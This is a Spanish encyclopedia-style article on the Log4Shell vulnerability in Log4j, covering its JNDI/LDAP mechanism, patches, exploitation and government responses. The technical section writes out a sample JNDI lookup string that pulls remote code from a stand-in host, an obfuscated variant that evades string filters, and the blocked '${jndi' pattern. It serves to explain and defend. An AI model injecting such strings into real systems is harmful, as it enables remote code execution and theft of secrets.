Log4Shell ( CVE-2021-44228 ) es una vulnerabilidad de día cero en Log4j , un popular marco de registro de Java , que implica la ejecución de código arbitrario . [2] [3] La vulnerabilidad había pasado desapercibida desde 2013 y fue revelada de forma privada a la Apache Software Foundation , de la cual Log4j es un proyecto, por Chen Zhaojun del equipo de seguridad de Alibaba Cloud el 24 de noviembre de 2021. Antes de un identificador CVE oficial estuvo disponible el 10 de diciembre de 2021, la vulnerabilidad circuló con el nombre "Log4Shell", proporcionado por Free Wortley del equipo LunaSec, que se utilizó inicialmente para rastrear el problema en línea. [2] [1] [4] [5] [6] Apache le dio a Log4Shell una calificación de gravedad CVSS de 10, la puntuación más alta disponible. [7] El exploit fue fácil de ejecutar y se estima que tuvo el potencial de afectar a cientos de millones de dispositivos. [6] [8]
La vulnerabilidad aprovecha que Log4j permite solicitudes a servidores LDAP y JNDI arbitrarios, [2] [9] [10] , lo que permite a los atacantes ejecutar código Java arbitrario en un servidor u otra computadora, o filtrar información confidencial. [5] El equipo de seguridad de Apache ha publicado una lista de sus proyectos de software afectados . [11] Los servicios comerciales afectados incluyen Amazon Web Services , [12] Cloudflare , iCloud , [13] Minecraft: Java Edition , [14] Steam , Tencent QQ y muchos otros. [9] [15] [16] Según Wiz y EY , la vulnerabilidad afectó al 93% de los entornos de nube empresarial. [17]
La divulgación de la vulnerabilidad recibió fuertes reacciones de los expertos en ciberseguridad. La empresa de ciberseguridad Tenable dijo que el exploit era "la vulnerabilidad más grande y crítica jamás vista", [18] Ars Technica la llamó "posiblemente la vulnerabilidad más grave jamás vista" [19] y The Washington Post dijo que las descripciones de los profesionales de la seguridad "rozan el apocalíptico." [8]
Log4j es un marco de registro de código abierto que permite a los desarrolladores de software registrar datos dentro de sus aplicaciones. Estos datos pueden incluir entradas del usuario. [20] Se utiliza de forma ubicua en aplicaciones Java, especialmente en software empresarial. [5] Escrito originalmente en 2001 por Ceki Gülcü, ahora es parte de Apache Logging Services, un proyecto de Apache Software Foundation . [21] Tom Kellermann, miembro de la Comisión de Seguridad Cibernética del presidente Obama , describió Apache como "uno de los soportes gigantes de un puente que facilita el tejido conectivo entre los mundos de las aplicaciones y los entornos informáticos". [22]
La interfaz de directorio y nombres de Java (JNDI) permite la búsqueda de objetos Java en tiempo de ejecución del programa dada una ruta a sus datos. JNDI puede aprovechar varias interfaces de directorio, cada una de las cuales proporciona un esquema diferente de búsqueda de archivos. Entre estas interfaces se encuentra el Protocolo ligero de acceso a directorios (LDAP), un protocolo no específico de Java [23] que recupera los datos del objeto como una URL desde un servidor apropiado, ya sea local o en cualquier lugar de Internet. [24]
En la configuración predeterminada, al registrar una cadena, Log4j 2 realiza la sustitución de cadenas en expresiones del formulario ${prefix:name}. [24] Por ejemplo, Text: ${java:version}podría convertirse a Text: Java version 1.7.0_67. [25] Entre las expresiones reconocidas se encuentra ${jndi:<lookup>}; al especificar que la búsqueda se realice a través de LDAP, se puede consultar y cargar una URL arbitraria como datos de objetos Java. ${jndi:ldap://example.com/file}, por ejemplo, cargará datos desde esa URL si está conectado a Internet. Al ingresar una cadena registrada, un atacante puede cargar y ejecutar código malicioso alojado en una URL pública. [24] Incluso si la ejecución de los datos está deshabilitada, un atacante aún puede recuperar datos, como variables de entorno secretas , colocándolas en la URL, en cuyo caso serán sustituidos y enviados al servidor del atacante. [26] [27] Además de LDAP, otros protocolos de búsqueda JNDI potencialmente explotables incluyen su variante segura LDAPS, Java Remote Method Invocation (RMI), el Domain Name System (DNS) y el Internet Inter-ORB Protocol (IIOP). [28] [29]
Debido a que las solicitudes HTTP se registran con frecuencia, un vector de ataque común es colocar la cadena maliciosa en la URL de la solicitud HTTP o en un encabezado HTTP comúnmente registrado , como User-Agent. Las primeras mitigaciones incluyeron el bloqueo de cualquier solicitud que tuviera contenido potencialmente malicioso, como ${jndi. [30] Estas soluciones básicas de coincidencia de cadenas se pueden eludir ofuscando la solicitud: ${${lower:j}ndi, por ejemplo, se convertirá en una búsqueda JNDI después de realizar la operación en minúsculas en la letra j. [31] Incluso si una entrada, como un nombre, no se registra inmediatamente, puede registrarse más tarde durante el procesamiento interno y ejecutarse su contenido. [24]
Las correcciones para esta vulnerabilidad se publicaron el 6 de diciembre de 2021, tres días antes de que se publicara la vulnerabilidad, en Log4j versión 2.15.0-rc1. [32] [33] [34] La solución incluía restringir los servidores y protocolos que pueden usarse para las búsquedas. Los investigadores descubrieron un error relacionado, CVE-2021-45046, que permite la ejecución de código local o remoto en ciertas configuraciones no predeterminadas y se solucionó en la versión 2.16.0, que deshabilitó todas las funciones que utilizan JNDI y la compatibilidad con búsquedas de mensajes. [35] [36] Se encontraron dos vulnerabilidades más en la biblioteca: un ataque de denegación de servicio , rastreado como CVE-2021-45105 y corregido en 2.17.0; y una vulnerabilidad de ejecución remota de código difícil de explotar , rastreada como CVE-2021-44832 y corregida en 2.17.1. [37] [38] Para versiones anteriores, la clase org.apache.logging.log4j.core.lookup.JndiLookupdebe eliminarse del classpath para mitigar ambas vulnerabilidades. [7] [35] Una de las primeras soluciones recomendadas para versiones anteriores era establecer la propiedad del sistema log4j2.formatMsgNoLookupsen true, pero este cambio no evita la explotación de CVE-2021-45046 y luego se descubrió que no deshabilitaba las búsquedas de mensajes en ciertos casos. [7] [35]
Las versiones más recientes de Java Runtime Environment (JRE) también mitigan esta vulnerabilidad al bloquear la carga remota de código de forma predeterminada, aunque todavía existen otros vectores de ataque en ciertas aplicaciones. [2] [26] [39] [40] Se han publicado varios métodos y herramientas que ayudan a detectar versiones vulnerables de Log4j utilizadas en paquetes Java integrados. [41]
Cuando no ha sido posible aplicar versiones actualizadas debido a una variedad de limitaciones, como la falta de recursos o soluciones administradas por terceros, el filtrado del tráfico de red saliente de implementaciones vulnerables ha sido el principal recurso para muchos. [42] El enfoque es recomendado por NCC Group [43] y el Centro Nacional de Seguridad Cibernética (Reino Unido) , [44] y es un ejemplo de una medida de defensa en profundidad . La eficacia de dicho filtrado se evidencia [45] en experimentos de laboratorio realizados con cortafuegos capaces de interceptar el tráfico de salida de varias versiones total o parcialmente vulnerables de la propia biblioteca y del JRE .
El exploit permite a los piratas informáticos obtener el control de dispositivos vulnerables utilizando Java. [6] Algunos piratas informáticos aprovechan la vulnerabilidad para utilizar los dispositivos de las víctimas para extraer criptomonedas , crear botnets , enviar spam, establecer puertas traseras y otras actividades ilegales como ataques de ransomware . [6] [8] [46] En los días posteriores a la divulgación de la vulnerabilidad, Check Point observó millones de ataques iniciados por piratas informáticos, y algunos investigadores observaron una tasa de más de cien ataques por minuto que finalmente resultaron en intentos de ataques a más de 40 % de redes empresariales a nivel internacional. [6] [22]
Según el director ejecutivo de Cloudflare , Matthew Prince , la evidencia del uso o prueba del exploit se remonta al 1 de diciembre, nueve días antes de que se revelara públicamente. [47] Según la empresa de ciberseguridad GreyNoise, varias direcciones IP estaban rastreando sitios web para buscar servidores que tuvieran la vulnerabilidad. [48] Varias botnets comenzaron a buscar la vulnerabilidad, incluida la botnet Muhstik el 10 de diciembre, así como Mirai y Tsunami. [6] [47] [49] Se observó que el grupo de ransomware Conti utilizaba la vulnerabilidad el 17 de diciembre. [8]
Algunos grupos patrocinados por estados en China e Irán también utilizaron el exploit según Check Point, pero no se sabe si el exploit fue utilizado por Israel, Rusia o Estados Unidos antes de la divulgación de la vulnerabilidad. [8] [18] Check Point dijo que el 15 de diciembre de 2021, piratas informáticos respaldados por Irán intentaron infiltrarse en las redes de empresas e instituciones gubernamentales israelíes. [8]
En Estados Unidos, la directora de la Agencia de Seguridad de Infraestructura y Ciberseguridad (CISA), Jen Easterly , describió el exploit como "uno de los más graves que he visto en toda mi carrera, si no el más grave", explicando que cientos de millones de dispositivos se vieron afectados y aconsejar a los proveedores que prioricen las actualizaciones de software. [6] [50] [46] Las agencias civiles contratadas por el gobierno de los Estados Unidos tenían hasta el 24 de diciembre de 2021 para parchear las vulnerabilidades. [8] El 4 de enero, la Comisión Federal de Comercio (FTC) declaró su intención de perseguir a las empresas que no toman medidas razonables para actualizar el software Log4j usado. [51] En una reunión en la Casa Blanca, se aclaró la importancia para la seguridad nacional del mantenimiento de la seguridad del software de código abierto (a menudo también realizado en gran medida por unos pocos voluntarios). Si bien algunos proyectos de código abierto tienen muchos ojos puestos en ellos , otros no cuentan con muchas o ninguna gente que garantice su seguridad. [52] [53]
El Bundesamt für Sicherheit in der Informationstechnik (BSI) de Alemania designó el exploit como el nivel de amenaza más alto de la agencia, calificándolo de "situación de amenaza extremadamente crítica" (traducido). También informó que varios ataques ya tuvieron éxito y que el alcance del exploit seguía siendo difícil de evaluar. [54] [55] El Centro Nacional de Seguridad Cibernética de los Países Bajos (NCSC) inició una lista continua de aplicaciones vulnerables. [56] [57]
El Centro Canadiense de Seguridad Cibernética (CCCS) pidió a las organizaciones que tomen medidas inmediatas. [58] La Agencia Tributaria de Canadá cerró temporalmente sus servicios en línea después de enterarse del exploit, mientras que el Gobierno de Quebec cerró casi 4.000 de sus sitios web como "medida preventiva". [59] El Ministerio de Defensa belga experimentó un intento de violación y se vio obligado a cerrar parte de su red. [60]
El Ministerio de Industria y Tecnología de la Información de China suspendió el trabajo con Alibaba Cloud como socio de inteligencia sobre amenazas de ciberseguridad durante seis meses por no informar primero la vulnerabilidad al gobierno. [61]
La investigación realizada por Wiz y EY [17] mostró que el 93% del entorno empresarial en la nube era vulnerable a Log4Shell. El 7% de las cargas de trabajo vulnerables están expuestas a Internet y son propensas a amplios intentos de explotación. Según la investigación, diez días después de la divulgación de la vulnerabilidad (20 de diciembre de 2021), solo el 45% de las cargas de trabajo vulnerables fueron parcheadas en promedio en entornos de nube. Los datos en la nube de Amazon, Google y Microsoft se vieron afectados por Log4Shell. [8] Microsoft pidió a los clientes de Windows y Azure que permanecieran atentos después de observar a atacantes cibercriminales y patrocinados por el estado investigando los sistemas en busca de la falla Log4j 'Log4Shell' hasta diciembre de 2021. [62]
La empresa de gestión de recursos humanos y fuerza laboral UKG , una de las empresas más grandes del sector, fue blanco de un ataque de ransomware que afectó a grandes empresas. [19] [63] UKG dijo que no tenía pruebas de que Log4Shell hubiera sido explotado en el incidente, aunque el analista Allan Liska de la empresa de ciberseguridad Recorded Future dijo que posiblemente había una conexión. [63]
A medida que las empresas más grandes comenzaron a lanzar parches para el exploit, el riesgo para las pequeñas empresas aumentó a medida que los piratas informáticos se centraban en objetivos más vulnerables. [46]
Algunos dispositivos personales conectados a Internet, como televisores inteligentes y cámaras de seguridad, eran vulnerables al exploit. Es posible que algunos programas nunca obtengan un parche debido a la interrupción del soporte del fabricante. [8]
Hasta el 14 de diciembre de 2021, [actualizar]casi la mitad de todas las redes corporativas a nivel mundial han sido investigadas activamente y se han producido más de 60 variantes del exploit en 24 horas. [64] Check Point Software Technologies en un análisis detallado describió la situación como "una verdadera ciberpandemia" y caracterizó el potencial de daño como "incalculable". [65] Varios avisos iniciales exageraron la cantidad de paquetes que eran vulnerables, lo que generó falsos positivos. En particular, el paquete "log4j-api" fue marcado como vulnerable, mientras que en realidad investigaciones posteriores mostraron que sólo el paquete principal "log4j-core" era vulnerable. Esto fue confirmado tanto en el hilo del problema original [66] como por investigadores de seguridad externos. [67]
La revista de tecnología Wired escribió que a pesar de la "exageración" anterior en torno a múltiples vulnerabilidades, "la vulnerabilidad Log4j ... está a la altura de las expectativas por una serie de razones". [18] La revista explica que la omnipresencia de Log4j, la vulnerabilidad que es difícil de detectar por objetivos potenciales y la facilidad de transmitir código a las víctimas crearon una "combinación de severidad, simplicidad y omnipresencia que tiene a la comunidad de seguridad sacudida". [18] Wired también describió las etapas de los piratas informáticos que utilizan Log4Shell; Los grupos de criptominería utilizan primero la vulnerabilidad, los corredores de datos luego venden un "punto de apoyo" a los ciberdelincuentes, quienes finalmente se involucran en ataques de ransomware, espionaje y destrucción de datos. [18]
Amit Yoran , director ejecutivo de Tenable y director fundador del equipo de preparación para emergencias informáticas de Estados Unidos , afirmó que "[Log4Shell] es, con mucho, la vulnerabilidad más grande y crítica jamás creada", y señaló que los ataques sofisticados comenzaron poco después del error, diciendo " También lo estamos viendo aprovechado para ataques de ransomware, lo que, nuevamente, debería ser una gran señal de alarma... También hemos visto informes de atacantes que usan Log4Shell para destruir sistemas sin siquiera buscar cobrar un rescate, un comportamiento bastante inusual". . [18] El investigador principal de amenazas de Sophos, Sean Gallagher, dijo: "Honestamente, la mayor amenaza aquí es que las personas ya han obtenido acceso y simplemente están sentadas en él, e incluso si solucionas el problema, alguien ya está en la red... Es existirá mientras exista Internet". [18]
Según un informe de Bloomberg News , se dirigió cierta ira hacia los desarrolladores de Apache por no haber solucionado la vulnerabilidad después de que se hicieran advertencias sobre vulnerabilidades de clases amplias de software, incluido Log4j, en una conferencia de ciberseguridad de 2016. [68]
Apache emitió un parche para CVE-2021-44228, versión 2.15, el 6 de diciembre. Sin embargo, este parche dejó parte de la vulnerabilidad sin corregir, lo que resultó en CVE-2021-45046 y un segundo parche, versión 2.16, lanzado el 13 de diciembre. lanzó un tercer parche, la versión 2.17, el 17 de diciembre para corregir otra vulnerabilidad relacionada, CVE-2021-45105.
{{cite web}}: Mantenimiento CS1: bot: estado de la URL original desconocido ( enlace )